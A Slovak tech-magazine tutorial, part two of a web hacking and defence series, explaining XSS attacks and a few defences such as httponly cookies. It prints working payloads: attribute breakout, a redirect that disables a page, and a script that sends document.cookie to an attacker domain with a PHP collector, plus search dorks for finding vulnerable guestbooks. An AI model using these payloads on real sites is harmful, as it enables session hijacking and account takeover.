Image
16.6.2016 0 Comments

WWW hacking a obrana / 2. časť

Pr­vú časť se­riá­lu sme ukon­či­li roz­prá­va­ním o fun­kcii open() ob­jek­tu win­dow. Te­raz na tú­to té­mu nad­via­že­me.
Chy­by ty­pu XSS sa da­jú zneu­žiť aj pri ro­zo­sie­la­ní rek­la­my. Pre ro­bo­ty, kto­ré preh­ľa­dá­va­jú inter­net, nie je prob­lém vlo­žiť do fó­ra prís­pe­vok:
<script>win­dow.open("http://www.rek­la­ma_na_ne­ja­ky_pro­dukt.com");</script>

Po­uží­va­te­ľo­vi sa zob­ra­zí ok­no s rek­la­mou. Pre­to je lep­šie mať za­ká­za­né spúš­ťa­nie pop-up okien.
Sku­toč­né ne­bez­pe­čen­stvo spo­čí­va v tom, že útoč­ník mô­že pri­dať na­mies­to oby­čaj­né­ho skrip­tu, kto­rý len zob­ra­zí ne­ja­kú sprá­vu, skript, kto­rý zís­ka coo­kies. Ide opäť len o pár riad­kov kó­du, kto­ré do­ká­že na­pí­sať aj za­čia­toč­ník v Ja­vaS­crip­te a PHP.

XSS cez pa­ra­me­ter ob­jek­tu
Nie vždy je to, čo po­uží­va­teľ vlo­žil, aj vý­stu­pom na strán­ku, kto­rý vi­dieť. Nie­ke­dy je to len hod­no­ta ne­ja­ké­ho pa­ra­met­ra ob­jek­tu. V nas­le­du­jú­com prík­la­de je tým ob­jek­tom texto­vé po­líč­ko, kto­ré­ho hod­no­ta pa­ra­met­ra va­lue je je­ho ob­sah. Ani ten­to vstup nie je ni­ja­ko kon­tro­lo­va­ný, a pre­to doň mož­no vlo­žiť aké­koľ­vek úda­je.
Skús­te vy­skú­šať <script>alert("XSS vul­ne­ra­bil­ná strán­ka!");</script>. Skript sa ne­vy­ko­ná, ale po­ško­dí in­teg­ri­tu strán­ky na­toľ­ko, že vý­sle­dok bu­de zob­ra­ze­nie ma­lej čas­ti kó­du strán­ky, do­kon­ca ta­gu.

Prob­lém je v tom, že skript, kto­rý sme vlo­ži­li do texto­vé­ho po­líč­ka, je vnút­ri med­zi úvod­zov­ka­mi a je po­va­žo­va­ný za re­ťa­zec, a nie za kód strán­ky.
Ten­to prob­lém sa dá od­strá­niť jed­no­duc­ho: vlo­že­ním "> pred kód skrip­tu.
Vý­sled­ný vstup bu­de vy­ze­rať tak­to "><script>alert("XSS vul­ne­ra­bil­ná strán­ka!"); </script>.Tým dôj­de k ukon­če­niu ta­gu <in­put> a vy­ko­na­niu ta­gu <script></script>.

<in­put na­me="me­no" ty­pe="text" va­lue=""><script>alert("XSS
vul­ne­ra­bil­ná strán­ka!"); </script>" si­ze=100>

Tu je zdro­jo­vý kód vul­ne­ra­bil­nej strán­ky:

<html>
<head>
<tit­le>Ukáž­ka ap­li­ká­cie, kto­rá je zle nap­rog­ra­mo­va­ná!</tit­le>
<me­ta http-equiv="Con­tent-Ty­pe" con­tent="text/html; char­set=win­dows-1250">

</head>

<bo­dy>
<form ac­tion="<?php ec­ho $HTTP_SELF; ?>" met­hod="get">
<in­put na­me="me­no" ty­pe="text" va­lue="<?php ec­ho $me­no; ?>" si­ze=100>

<in­put na­me="od­os­lat" ty­pe="sub­mit" va­lue="Od­os­lať">

</form>

 

</bo­dy>
</html>

 

Ako hac­ke­ri hľa­da­jú cie­le:

inurl:kn.php

Skrat­ka kni­ha náv­štev = kn.php. Nie čas­to po­uží­va­ná skrat­ka náz­vu sú­bo­ru, ale náj­de sa aj ta­ká

inurl:kni­ha_nav­stev.php

Sú­bo­ry PHP s náz­vom kni­ha_nav­stev.php. Veľ­mi čas­to sa kni­ha náv­štev spá­ja aj s po­sla­ním (up­load) ne­ja­ké­ho sú­bo­ru, väč­ši­nou ob­ráz­ka, a tu nas­tá­va veľ­ký prob­lém, kto­ré­mu sa bu­de­me ve­no­vať na­bu­dú­ce

inurl:kni­ha­nav­stev.php

Sú­bo­ry PHP s náz­vom kni­ha­nav­stev.php

inurl:dis­ku­sia.php

Sú­bo­ry PHP s náz­vom dis­ku­sia.php

inurl:dis­ku­tuj­te.php

Sú­bo­ry PHP s náz­vom dis­ku­tuj­te.php

inurl:dis­ku­tu­je­me.php

Sú­bo­ry PHP s náz­vom dis­ku­tu­je­me.php

inurl:blog.php

Sú­bo­ry PHP s náz­vom blog.php

inurl:blo­guj.php

Sú­bo­ry PHP s náz­vom blo­guj.php

inurl:chat.php

Sú­bo­ry PHP s náz­vom chat.php

inurl:cha­tu­je­me.php

Sú­bo­ry PHP s náz­vom cha­tu­je­me.php

inurl:chat­ting.php

Sú­bo­ry PHP s náz­vom chat­ting.php

inurl:your_opi­nion.php

Sú­bo­ry PHP s náz­vom your_opi­nion.php

inurl:dis­cus­sion.php

Sú­bo­ry PHP s náz­vom dis­cus­sion.php

inurl:dis­cuss.php

Sú­bo­ry PHP s náz­vom dis­cuss.php


Je veľ­ké množ­stvo vy­hľa­dá­va­cích kri­té­rií, kto­ré sú veľ­mi ús­peš­né a kto­ré umož­nia útoč­ní­ko­vi rých­lo náj­sť strán­ky nác­hyl­né k úto­kom ty­pu XSS. V pred­chád­za­jú­cej ta­buľ­ke sú uve­de­né prík­la­dy v slo­ven­skom a an­glic­kom ja­zy­ku, kto­ré však bu­dú po prek­la­de do rôz­nych iných ja­zy­kov fun­kčné. Na vy­hľa­dá­va­nie sa po­uží­va­jú aj rôz­ne iné kri­té­riá, kto­ré mô­žu byť zle za­bez­pe­če­né. Ide o ama­tér­ske weby, pri kto­rých sa dá pred­pok­la­dať, že sú nap­rog­ra­mo­va­né za­čia­toč­ník­mi ale­bo nep­ro­fe­sio­nál­ne.

Znep­rís­tup­ne­nie WWW strán­ky
Znep­rís­tup­ne­nie WWW strán­ky nie je len otáz­kou hac­kin­gu na úrov­ni server­a, ale sta­čí ma­lá ne­po­zor­nosť a útoč­ník mô­že strán­ku vy­ra­diť jed­ným riad­kom kó­du.
<script>win­dow.lo­ca­tion.href="http://www.ne­ja­ka_ina_stran­ka.com";</script>

Ak má oby­čaj­ný náv­štev­ník strán­ky mož­nosť, ako vy­tvo­riť ne­ja­ký vý­stup, kto­rý sa zob­ra­zu­je hneď na pr­vej strán­ke, mô­že ta­kým­to spô­so­bom za­blo­ko­vať strán­ku dov­te­dy, kým ju správ­ca neop­ra­ví. Pre­to tre­ba dá­vať po­zor na to, aby sa všet­ky dá­ta, kto­ré sú vi­di­teľ­né už na pr­vej strán­ke, kon­tro­lo­va­li a ne­do­vo­li­li vy­ko­ná­va­nie aké­ho­koľ­vek ne­bez­peč­né­ho kó­du. Je množ­stvo strá­nok, kto­ré zob­ra­zu­jú hneď na pr­vej strán­ke nie­čo ako na­pos­le­dy pri­da­né člán­ky, po­sled­né prís­pev­ky do dis­ku­sie atď.

Veľ­mi ne­bez­peč­né sú aj e-mai­ly for­má­to­va­né ako HTML. V tom naj­lep­šom prí­pa­de pre hac­ke­ra sta­čí, ak je zle ošet­re­ný vstup a vý­stup e-mai­lu.
Pred­stav­me si, že dva­ja ľu­dia si pí­šu e-mai­ly. Zho­dou okol­nos­tí oba­ja po­uží­va­jú tú is­tú služ­bu, kto­rá im po­sky­tu­je bez­plat­né free­mai­lo­vé kon­to. Je­den z nich sa však po­kú­si us­ku­toč­niť útok na kon­to to­ho dru­hé­ho, pre­to­že by si rád pre­čí­tal je­ho po­štu a ov­lá­dol ce­lé je­ho kon­to. Je to mož­no ove­ľa jed­no­duc­hšie, ako si mys­lí­te. Ak je v spra­co­va­ní e-mai­lov chy­ba, kto­rá do­vo­ľu­je vy­užiť útok XSS, je zís­ka­nie kon­ta to­ho dru­hé­ho hrač­ka.

Ak nie je ob­sah e-mai­lu ni­ja­ko ošet­ro­va­ný, aby sa doň ne­da­li vkla­dať skrip­ty, útoč­ní­ko­vi sta­čí po­slať svo­jej obe­ti e-mail, kto­rý bu­de ob­sa­ho­vať skript po­dob­ný nas­le­du­jú­ce­mu:

<script>win­dow.lo­ca­tion.rep­la­ce("http://www.utoc­ni­ko­va.do­me­na.com/kra­dez_
cookie.php?cookie="+do­cu­ment.cookie); </script>

Vý­sled­kom toh­to kó­du v e-mai­le, kto­rý si ot­vo­rí obeť, bu­de to, že ses­sion, kto­rú vlas­tní v tom ča­se obeť, skript nas­ta­ví ako pa­ra­me­ter pre­men­nej cookie v ad­re­se URL, kto­rá pres­me­ru­je obeť na ad­re­su útoč­ní­ko­vej do­mé­ny. Hac­ke­ri po­uží­va­jú na ten­to účel väč­ši­nou ne­ja­ké free­hos­tin­go­vé kon­to. Sa­moz­rej­me, že ten­to spô­sob je až veľ­mi ná­pad­ný, ale koľ­ko ľu­dí si uve­do­mí, čo sa sta­lo? Väč­ši­na si to vy­svet­lí ako ne­ja­kú chy­bu.

Ob­sah sú­bo­ru kra­zed_cookie.php sa po­do­bá to­mu­to:

<?php
$za­pis = $cookie.", ";

$fi­le = fo­pen("coo­kies.txt", "a");
fwri­te($fi­le, $za­pis, strlen($za­pis));
fclo­se($fi­le);

?>

Útoč­ník má už jed­no­duc­hú úlo­hu. Sta­čí, ak sko­pí­ru­je cookie do svoj­ho preh­lia­da­ča tak, aby je­ho hod­no­ta bo­la pre­pí­sa­ná no­vou, a mal by sa dos­tať do e-mai­lo­vé­ho kon­ta svo­jej obe­te. To bu­de však fun­go­vať len vte­dy, ak je eš­te da­né cookie plat­né. To zna­me­ná, že obeť je eš­te stá­le prih­lá­se­ná vo svo­jej schrán­ke a neod­hlá­si­la sa ale­bo plat­nosť cookie ne­vypr­ší. Po­zor! Vy­pnu­tie inter­ne­to­vé­ho preh­lia­da­ča cookie ne­ru­ší. Pre­to sa vždy tre­ba od­hlá­siť re­gu­lár­ne, a nie iba za­tvo­re­ním ok­na inter­ne­to­vé­ho preh­lia­da­ča, tak ako to ro­bí množ­stvo po­uží­va­te­ľov. Po­tom by ne­bo­lo tre­ba ani prih­la­so­va­nie, ke­by niek­to pris­tu­po­val k svoj­mu kon­tu len z vlas­tné­ho po­čí­ta­ča. Od­hlá­se­nie je rov­na­ko dô­le­ži­té ako prih­lá­se­nie.
Za­brá­niť úto­ku v ta­kej­to for­me sa dá po­mo­cou nas­ta­ve­nia hod­no­ty ar­gu­men­tu httpon­ly vo fun­kcii set­cookie(...) na TRUE. No tá­to fun­kcia je tu až od ver­zie PHP 5.2.0 a ne­pod­po­ru­jú ju všet­ky preh­lia­da­če.

Čo ne­po­mô­že:
• Po­uži­tie me­tó­dy PO­ST na­mies­to GET. Je sí­ce prav­da, že to bu­de mať ha­cker troc­hu ťaž­šie, pre­to­že neu­vi­dí ce­lú URL, ale ta­kí­to XSS hac­ke­ri po­uží­va­jú lo­kál­ne proxy, kto­rým ana­ly­zu­jú pa­ke­ty a tam pre­pí­šu jed­not­li­vé ar­gu­men­ty. Nás­tro­jom, kto­rý je pri webo­vom hac­kin­gu ta­kis­to uži­toč­ný, je roz­ší­re­nie Mo­zil­la Fi­re­foxu s náz­vom Li­veHTTPHea­ders (http://li­vehttphea­ders.moz­dev.org/), kto­rým ta­kis­to mô­žu bez prob­lé­mov ana­ly­zo­vať a me­niť pa­ke­ty a coo­kies.
• Po­uži­tie fun­kcie addslas­hes (string re­ťa­zec). Fun­kcia len pri­dá­va backslash – spät­nú lom­ku pred " a '.
• Po­uži­tie ta­gu <pre> </pre>, kto­rý slú­ži iba na za­cho­va­nie viac ako jed­né­ho bi­ele­ho zna­ku v do­ku­men­te for­má­to­va­nom ako HTML.

Zá­ver
V nas­le­du­jú­cej čas­ti se­riá­lu sa po­zrie­me na úto­ky ty­pu PHP In­jec­tion/In­clu­de.

Autor: Ján Chovanec

Nechajte si posielať prehľad najdôležitejších správ emailom

Mohlo by Vás zaujímať

Ako na to

CES 2017: Lenovo predstavilo nové notebooky ThinkPad X1, Miix 720 a prvý smartfón s podporou Tango - Lenovo Phab 2

03.01.2017 00:09

Lenovo odštartovala ďalší ročník veľtrhu s celou škálou nových produktov. Nová generácia produktov radu ThinkPad X1 Carbon 2017 je najľahším 14-palcovým biznis notebookom, ktorý váži len 1,14kg a obsa ...

Ako na to

Tipy a triky: Ako správne poskytovať IT pomoc a ako o ňu správne žiadať?

14.12.2016 09:40

Či už ste pokročilý používateľ počítača, ktorý často poskytuje IT pomoc známym a rodine, alebo ste to vy, kto o takúto pomoc zvyčajne žiada, ľahko sa stanete nechcenou príčinou frustrácie a obrovskej ...

Ako na to

Tipy a triky: Ako diagnostikovať a opravovať neúspešné upgrady Windows 10

14.12.2016 09:37

Microsoft prešiel s Windows 10 do celkom novej éry vývoja. Namiesto samostatných verzií Windows, vydávaných zvyčajne s odstupom dvoch až piatich rokov (XP, Vista, 7 a podobne), začal svoj systém vyvíj ...

Žiadne komentáre

Vyhľadávanie

Kyocer TASK

Najnovšie videá